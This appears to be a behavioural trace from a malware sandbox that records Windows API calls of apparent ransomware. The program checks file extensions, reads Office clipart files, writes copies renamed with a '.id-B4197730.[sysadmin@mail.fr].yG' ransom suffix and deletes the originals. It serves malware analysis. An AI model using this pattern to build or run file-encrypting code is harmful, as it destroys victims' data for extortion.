	[0141.586] lstrlenW (lpString=".xlsx") returned 5
	[0141.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0141.586] lstrlenW (lpString=".ppt") returned 4
	[0141.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0141.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.586] lstrlenW (lpString=".zip") returned 4
	[0141.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0141.586] lstrlenW (lpString=".rar") returned 4
	[0141.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0141.586] lstrlenW (lpString=".bz2") returned 4
	[0141.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0141.587] lstrlenW (lpString=".7z") returned 3
	[0141.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0141.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.628] lstrlenW (lpString=".dbf") returned 4
	[0141.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0141.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.628] lstrlenW (lpString=".1cd") returned 4
	[0141.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0141.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.628] lstrlenW (lpString=".jpg") returned 4
	[0141.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0141.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.628] lstrlenW (lpString=".doc") returned 4
	[0141.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0141.628] lstrlenW (lpString=".docx") returned 5
	[0141.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0141.628] lstrlenW (lpString=".pdf") returned 4
	[0141.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0141.628] lstrlenW (lpString=".xls") returned 4
	[0141.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0141.628] lstrlenW (lpString=".xlsx") returned 5
	[0141.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0141.628] lstrlenW (lpString=".ppt") returned 4
	[0141.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0141.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.628] lstrlenW (lpString=".zip") returned 4
	[0141.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0141.629] lstrlenW (lpString=".rar") returned 4
	[0141.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0141.629] lstrlenW (lpString=".bz2") returned 4
	[0141.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0141.629] lstrlenW (lpString=".7z") returned 3
	[0141.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0141.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.629] lstrlenW (lpString=".dbf") returned 4
	[0141.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0141.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.629] lstrlenW (lpString=".1cd") returned 4
	[0141.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0141.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0141.629] lstrlenW (lpString=".jpg") returned 4
	[0141.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0141.630] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0141.630] lstrlenW (lpString="DD01586_.WMF") returned 12
	[0141.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0141.821] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2324) returned 1
	[0141.821] CloseHandle (hObject=0x49c) returned 1
	[0141.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220
	[0141.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0141.822] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.822] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0141.823] GetLastError () returned 0x0
	[0141.823] ReadFile (in: hFile=0x49c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x914, lpOverlapped=0x0) returned 1
	[0141.844] WriteFile (in: hFile=0x3a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x920, lpOverlapped=0x0) returned 1
	[0141.845] ReadFile (in: hFile=0x49c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.845] WriteFile (in: hFile=0x3a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0141.845] SetEndOfFile (hFile=0x3a0) returned 1
	[0141.845] CloseHandle (hObject=0x3a0) returned 1
	[0141.845] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.845] SetEndOfFile (hFile=0x49c) returned 1
	[0141.851] CloseHandle (hObject=0x49c) returned 1
	[0141.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0142.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1
	[0142.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.519] lstrlenW (lpString=".doc") returned 4
	[0142.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.519] lstrlenW (lpString=".docx") returned 5
	[0142.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.519] lstrlenW (lpString=".pdf") returned 4
	[0142.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.519] lstrlenW (lpString=".xls") returned 4
	[0142.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.519] lstrlenW (lpString=".xlsx") returned 5
	[0142.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.519] lstrlenW (lpString=".ppt") returned 4
	[0142.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.519] lstrlenW (lpString=".zip") returned 4
	[0142.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.519] lstrlenW (lpString=".rar") returned 4
	[0142.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.519] lstrlenW (lpString=".bz2") returned 4
	[0142.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.519] lstrlenW (lpString=".7z") returned 3
	[0142.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.520] lstrlenW (lpString=".dbf") returned 4
	[0142.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.520] lstrlenW (lpString=".1cd") returned 4
	[0142.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.520] lstrlenW (lpString=".jpg") returned 4
	[0142.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.520] lstrlenW (lpString=".doc") returned 4
	[0142.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.520] lstrlenW (lpString=".docx") returned 5
	[0142.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.520] lstrlenW (lpString=".pdf") returned 4
	[0142.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.520] lstrlenW (lpString=".xls") returned 4
	[0142.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.520] lstrlenW (lpString=".xlsx") returned 5
	[0142.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.520] lstrlenW (lpString=".ppt") returned 4
	[0142.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.520] lstrlenW (lpString=".zip") returned 4
	[0142.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.521] lstrlenW (lpString=".rar") returned 4
	[0142.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.521] lstrlenW (lpString=".bz2") returned 4
	[0142.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.521] lstrlenW (lpString=".7z") returned 3
	[0142.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.521] lstrlenW (lpString=".dbf") returned 4
	[0142.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.521] lstrlenW (lpString=".1cd") returned 4
	[0142.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0142.521] lstrlenW (lpString=".jpg") returned 4
	[0142.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.521] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0142.521] lstrlenW (lpString="DD01628_.WMF") returned 12
	[0142.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4
	[0144.053] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=19068) returned 1
	[0144.053] CloseHandle (hObject=0x4f4) returned 1
	[0144.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220
	[0144.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0144.425] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.426] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0144.518] GetLastError () returned 0x0
	[0144.518] ReadFile (in: hFile=0x518, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x4a7c, lpOverlapped=0x0) returned 1
	[0144.520] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4a80, lpOverlapped=0x0) returned 1
	[0144.522] ReadFile (in: hFile=0x518, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.522] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.522] SetEndOfFile (hFile=0x51c) returned 1
	[0144.522] CloseHandle (hObject=0x51c) returned 1
	[0144.523] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.523] SetEndOfFile (hFile=0x518) returned 1
	[0144.526] CloseHandle (hObject=0x518) returned 1
	[0144.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1
	[0144.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.528] lstrlenW (lpString=".doc") returned 4
	[0144.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.528] lstrlenW (lpString=".docx") returned 5
	[0144.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.528] lstrlenW (lpString=".pdf") returned 4
	[0144.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.528] lstrlenW (lpString=".xls") returned 4
	[0144.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.528] lstrlenW (lpString=".xlsx") returned 5
	[0144.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.528] lstrlenW (lpString=".ppt") returned 4
	[0144.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.528] lstrlenW (lpString=".zip") returned 4
	[0144.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.529] lstrlenW (lpString=".rar") returned 4
	[0144.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString=".bz2") returned 4
	[0144.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString=".7z") returned 3
	[0144.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.529] lstrlenW (lpString=".dbf") returned 4
	[0144.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.529] lstrlenW (lpString=".1cd") returned 4
	[0144.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.529] lstrlenW (lpString=".jpg") returned 4
	[0144.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.529] lstrlenW (lpString=".doc") returned 4
	[0144.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString=".docx") returned 5
	[0144.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.529] lstrlenW (lpString=".pdf") returned 4
	[0144.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString=".xls") returned 4
	[0144.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.529] lstrlenW (lpString=".xlsx") returned 5
	[0144.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.529] lstrlenW (lpString=".ppt") returned 4
	[0144.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.529] lstrlenW (lpString=".zip") returned 4
	[0144.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.530] lstrlenW (lpString=".rar") returned 4
	[0144.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.530] lstrlenW (lpString=".bz2") returned 4
	[0144.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.530] lstrlenW (lpString=".7z") returned 3
	[0144.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.530] lstrlenW (lpString=".dbf") returned 4
	[0144.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.530] lstrlenW (lpString=".1cd") returned 4
	[0144.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68
	[0144.530] lstrlenW (lpString=".jpg") returned 4
	[0144.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.530] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.530] lstrlenW (lpString="ED00010_.WMF") returned 12
	[0144.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.540] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=1382) returned 1
	[0144.541] CloseHandle (hObject=0x4d8) returned 1
	[0144.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220
	[0144.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.542] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.542] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.542] GetLastError () returned 0x0
	[0144.542] ReadFile (in: hFile=0x4d8, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x566, lpOverlapped=0x0) returned 1
	[0144.544] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x570, lpOverlapped=0x0) returned 1
	[0144.545] ReadFile (in: hFile=0x4d8, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.545] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.545] SetEndOfFile (hFile=0x530) returned 1
	[0144.545] CloseHandle (hObject=0x530) returned 1
	[0144.545] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.545] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.548] CloseHandle (hObject=0x4d8) returned 1
	[0144.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1
	[0144.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.549] lstrlenW (lpString=".doc") returned 4
	[0144.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.549] lstrlenW (lpString=".docx") returned 5
	[0144.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.549] lstrlenW (lpString=".pdf") returned 4
